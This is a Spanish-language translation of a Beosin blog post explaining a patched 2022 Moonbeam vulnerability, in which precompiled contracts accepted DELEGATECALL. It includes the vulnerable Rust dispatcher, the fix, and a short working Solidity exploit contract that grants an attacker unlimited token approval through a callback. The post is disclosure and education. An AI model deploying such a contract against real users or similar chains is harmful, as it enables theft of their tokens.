WEB3DEV Español

Cover image for Serie de auditorías de seguridad: ¿Qué es una vulnerabilidad de contrato precompilado?
Juan José Gouvêa
Juan José Gouvêa

Posted on

Serie de auditorías de seguridad: ¿Qué es una vulnerabilidad de contrato precompilado?

img1

Foto de GuerrillaBuzz no Unsplash

En mayo de 2022, un hacker ético llamado pwning.eth reportó una grave vulnerabilidad en contratos precompilados para Moonbeam, que podría permitir que los atacantes transfirieran arbitrariamente los activos de cualquier usuario. En ese momento, la vulnerabilidad podría haber causado una posible pérdida de $100,000,000.

La vulnerabilidad está relacionada con llamadas a contratos precompilados no estándar de Ethereum. Estas son direcciones que permiten que la Máquina Virtual Ethereum (EVM), a través de contratos inteligentes, acceda a algunos de los recursos principales de Moonbeam, (como nuestros palets XC-20, staking y democracy) que no existen en la base de EVM. Utilizando una DELEGATECALL (llamada delegada), un contrato inteligente malicioso podría acceder al almacenamiento precompilado de otra parte a través de un retorno de llamada.

Esto no es un problema para los usuarios típicos, ya que requeriría que envíen una transacción al contrato inteligente malicioso. Sin embargo, es un problema para otros contratos inteligentes que permiten llamadas arbitrarias a contratos inteligentes externos. Por ejemplo, esto ocurre en algunos contratos inteligentes que permiten devoluciones de llamada. En estas situaciones, un usuario malintencionado podría hacer que una DEX (Intercambio Descentralizado) ejecutara una llamada al contrato inteligente malicioso, el cual sería capaz de acceder a los precompilados haciéndose pasar por la DEX y, posiblemente, transferir el saldo a cualquier otra dirección.

El equipo de investigación de seguridad Beosin presentará en detalle el principio de explotación de esta vulnerabilidad.

¿Qué es un contrato precompilado?

En la EVM, el código de un contrato se interpreta en instrucciones y se ejecuta una por una. Durante la ejecución de cada instrucción, la EVM verifica las condiciones de ejecución, es decir, si hay suficiente gas. Si el gas no es suficiente, la EVM emitirá un error.

En el proceso de ejecución de transacciones, la EVM no almacena datos en registros, sino en una pila. Cada operación de lectura y escritura debe comenzar desde la parte superior de la pila, lo que hace que su eficiencia operativa sea muy baja. Si se requiere una verificación en tiempo de ejecución, puede llevar mucho tiempo realizar una operación compleja. En una blockchain, se necesitan muchas operaciones complejas, como funciones de criptografía y funciones hash (resumen criptográfico), lo que hace que muchas funciones sean imposibles de ejecutar en la EVM.

El contrato precompilado es una solución de compromiso, diseñado para que la EVM ejecute algunas funciones complejas de biblioteca (utilizadas para operaciones complejas como criptografía y hash) que no son adecuadas para la ejecución en la EVM. Se utiliza, principalmente, para algunos cálculos complejos con lógica simple, algunas funciones que se llaman con frecuencia y contratos con lógica fija.

La implementación de contratos precompilados requiere una propuesta de mejora de Ethereum (Ethereum Improvement Proposal o EIP), que se sincronizará con cada cliente después de su aprobación. Por ejemplo, algunos contratos precompilados son implementados por Ethereum: ercecover() (recupera la dirección asociada a la clave pública a partir de la firma de curva elíptica, dirección 0x1), sha256hash() (cálculo de hash SHA256, dirección 0x2) y ripemd160hash() (cálculo de hash Ripemd160, dirección 0x3). Estas funciones están definidas con un costo de gas fijo, en lugar de realizar cálculos de gas según el bytecode durante el proceso de llamada, lo que reduce significativamente el costo de tiempo y gas. Dado que el contrato precompilado generalmente se implementa en el lado del cliente con código de cliente y no necesita usar la EVM, la velocidad de ejecución es rápida.

pre-compilado1

La vulnerabilidad del contrato precompilado de Moonbeam

En Moonbeam, la precompilación de Balance ERC-20 proporciona una interfaz ERC-20 para procesar los tokens nativos de Balance. El contrato puede utilizar address.call para llamar a contratos precompilados, donde la dirección es la dirección precompilada. A continuación, se muestran los códigos anteriores de Moonbeam para llamar a contratos precompilados.

fn execute(&self, handle: &mut impl PrecompileHandle) -> Option<PrecompileResult> {
 match handle.code_address() {
   // Precompilaciones de Ethereum:
   a if a == hash(1) => Some(ECRecover::execute(handle)),
   a if a == hash(2) => Some(Sha256::execute(handle)),
   a if a == hash(3) => Some(Ripemd160::execute(handle)),
   a if a == hash(5) => Some(Modexp::execute(handle)),
   a if a == hash(4) => Some(Identity::execute(handle)),
   a if a == hash(6) => Some(Bn128Add::execute(handle)),
   a if a == hash(7) => Some(Bn128Mul::execute(handle)),
   a if a == hash(8) => Some(Bn128Pairing::execute(handle)),
   a if a == hash(9) => Some(Blake2F::execute(handle)),
   a if a == hash(1024) => Some(Sha3FIPS256::execute(handle)),
   a if a == hash(1025) => Some(Dispatch::<R>::execute(handle)),
   a if a == hash(1026) => Some(ECRecoverPublicKey::execute(handle)),
   a if a == hash(2048) => Some(ParachainStakingWrapper::<R>::execute(handle)),
   a if a == hash(2049) => Some(CrowdloanRewardsWrapper::<R>::execute(handle)),
   a if a == hash(2050) => Some(
     Erc20BalancesPrecompile::<R, NativeErc20Metadata>::execute(handle),
   ),
   a if a == hash(2051) => Some(DemocracyWrapper::<R>::execute(handle)),
   a if a == hash(2052) => Some(XtokensWrapper::<R>::execute(handle)),
   a if a == hash(2053) => Some(
RelayEncoderWrapper::<R, WestendEncoder>::execute(handle)
),
   a if a == hash(2054) => Some(XcmTransactorWrapper::<R>::execute(handle)),
   a if a == hash(2055) => Some(AuthorMappingWrapper::<R>::execute(handle)),
   a if a == hash(2056) => Some(BatchPrecompile::<R>::execute(handle)),
   // Si la dirección coincide con el prefijo del activo, se enruta a través del conjunto de precompilaciones del activo
   a if &a.to_fixed_bytes()[0..4] == FOREIGN_ASSET_PRECOMPILE_ADDRESS_PREFIX => {
     Erc20AssetsPrecompileSet::<R, IsForeign, ForeignAssetInstance>::new()
       .execute(handle)
   }
   // Si la dirección coincide con el prefijo del activo, se enruta a través del conjunto de precompilaciones del activo
   a if &a.to_fixed_bytes()[0..4] == LOCAL_ASSET_PRECOMPILE_ADDRESS_PREFIX => {
     Erc20AssetsPrecompileSet::<R, IsLocal, LocalAssetInstance>::new().execute(handle)
   }
   _ => None,
 }
}
Enter fullscreen mode Exit fullscreen mode

El código anterior es el método de ejecución (fn execute()) del conjunto de contratos precompilados de Moonbase, implementado en Rust. Este método verifica la dirección del contrato precompilado que se va a llamar y luego transfiere los datos de entrada a diferentes contratos precompilados para su procesamiento. El identificador, (manejador de interacción precompilada) pasado al método de ejecución, incluye el contenido relevante en call(call_data) e información de contexto de la transacción.

Por lo tanto, al llamar al contrato precompilado del token ERC-20, es necesario llamar a las funciones relevantes del contrato precompilado del token ERC-20 a través del método 0x000…00802.call("función(tipo)", parámetro) (0x802=2050).

Sin embargo, hay un problema con el método de ejecución del conjunto de contratos precompilados de Moonbase, es decir, el método de llamada a otros contratos no está verificado. Si utilizas delegatecall(call_data) en lugar de call(call_data) para llamar a los contratos precompilados, habrá algunos problemas.

Veamos la diferencia entre usar delegatecall(call_data) y call(call_data):

  1. Al usar una cuenta EOA (Cuenta de Propiedad Externa) para utilizar address.call(call_data) en el contrato A para llamar a la función de otro contrato B, el entorno de ejecución está en el contrato B y la información del llamador (msg) proviene del contrato A, como se muestra en la siguiente figura.

conta-eoa

  1. Al usar delegatecall, el entorno de ejecución se encuentra en el contrato A, la información del llamador (msg) proviene de una cuenta EOA externa y los datos almacenados en el contrato B no pueden modificarse, como se muestra en la siguiente figura.

delegatecall

Independientemente del método utilizado para la llamada, la información de la EOA y el contrato B no pueden vincularse a través del contrato A, lo que hace que las llamadas entre contratos sean seguras.

Por lo tanto, el método de ejecución (fn execute()) del conjunto de contratos precompilados de Moonbase implementado en Rust no verifica el método de llamada. Cuando se utiliza delegatecall para llamar a contratos precompilados, los métodos relevantes también se ejecutarán en los contratos precompilados y se escribirán en el almacenamiento de los contratos precompilados. Es decir, como se muestra en la siguiente figura, cuando una cuenta EOA llama a un contrato A malicioso escrito por un atacante, A utiliza el método delegatecall para llamar al contrato precompilado B. Esto escribirá los datos llamados en A y B al mismo tiempo para llevar a cabo un ataque de phishing.

eoa-2

Proceso de un ataque de phishing a través de la vulnerabilidad

Un atacante puede implementar el siguiente contrato de phishing y hacer que los usuarios llamen a la función de phishing uniswapV2Call, y la función llamará a la función stealLater (robar más tarde) que implementa delegatecall(token_approve) nuevamente.

De acuerdo con las reglas mencionadas anteriormente, el contrato de ataque llama a la función approve (aprobar) (asset=0x000...00802) del contrato de token. Cuando el usuario llama a uniswapV2Call, la autorización se escribirá tanto en el almacenamiento del contrato de phishing como en el contrato precompilado al mismo tiempo. El atacante solo necesita llamar a la función transferfrom (transferir de) del contrato precompilado para robar los tokens de los usuarios.

pragma solidity >=0.8.0;

contract ExploitFlashSwap {
  address asset;
  address beneficiary;

  constructor(address _asset, address _beneficiary) {
    asset = _asset;
    beneficiary = _beneficiary;
  }

  function stealLater() external {
    (bool success,) = asset.delegatecall(
      abi.encodeWithSignature(
        "approve(address,uint256)",
        beneficiary,
        (uint256)(int256(-1))
      )
    );
    require(success, "approve");
  }

  function uniswapV2Call(
    address sender,
    uint amount0,
    uint amount1,
    bytes calldata data
  ) external {
    stealLater();
  }
}
Enter fullscreen mode Exit fullscreen mode

¿Cómo corregir el error?

Los desarrolladores de Moonbeam corrigieron el error verificando si la dirección EVM es consistente con la dirección precompilada en el método de ejecución (fn execute()) del conjunto de contratos precompilados de Moonbase, para garantizar que solo se pueda utilizar el método call() para las direcciones precompiladas después de 0x000…00009. El código corregido es el siguiente:

fn execute(&self, handle: &mut impl PrecompileHandle) -> Option<PrecompileResult> {
   // Filtrar direcciones de precompilación conocidas, excepto las oficiales de Ethereum
   if self.is_precompile(handle.code_address())
     && handle.code_address() > hash(9)
     && handle.code_address() != handle.context().address
   {
     return Some(Err(revert(
       "cannot be called with DELEGATECALL or CALLCODE",
     )));
   }

   match handle.code_address() {

Enter fullscreen mode Exit fullscreen mode

Consejo de seguridad

Para evitar este problema, el equipo de seguridad de Beosin sugiere que los desarrolladores consideren la diferencia entre delegatecall y call durante el proceso de desarrollo. Si el contrato llamado puede ser llamado mediante delegatecall, los desarrolladores deben pensar cuidadosamente en sus escenarios de aplicación y principios subyacentes, y realizar pruebas rigurosas de código. Se recomienda buscar una empresa de auditoría de blockchain profesional para realizar una auditoría integral de seguridad antes de lanzar un proyecto.

Beosin es una empresa líder mundial en seguridad de blockchain cofundada por varios profesores de reconocidas universidades y cuenta con un equipo de más de 40 doctores. Tiene oficinas en Singapur, Corea, Japón y otros 10 países. Con la misión de "Proteger el ecosistema blockchain", Beosin proporciona una solución integral de seguridad blockchain "todo en uno" que abarca auditoría de contratos inteligentes, monitoreo y alerta de riesgos, KYT/AML y rastreo de criptomonedas. Beosin ha auditado más de 3000 contratos inteligentes y ha protegido más de $500 mil millones en fondos de sus clientes. Puedes ponerte en contacto con nosotros visitando el siguiente enlace: https://beosin.com/

Este artículo fue escrito por Beosin y traducido al español por Juan José Gouvêa.

Puedes encontrar el artículo original aquí.

Discussion (0)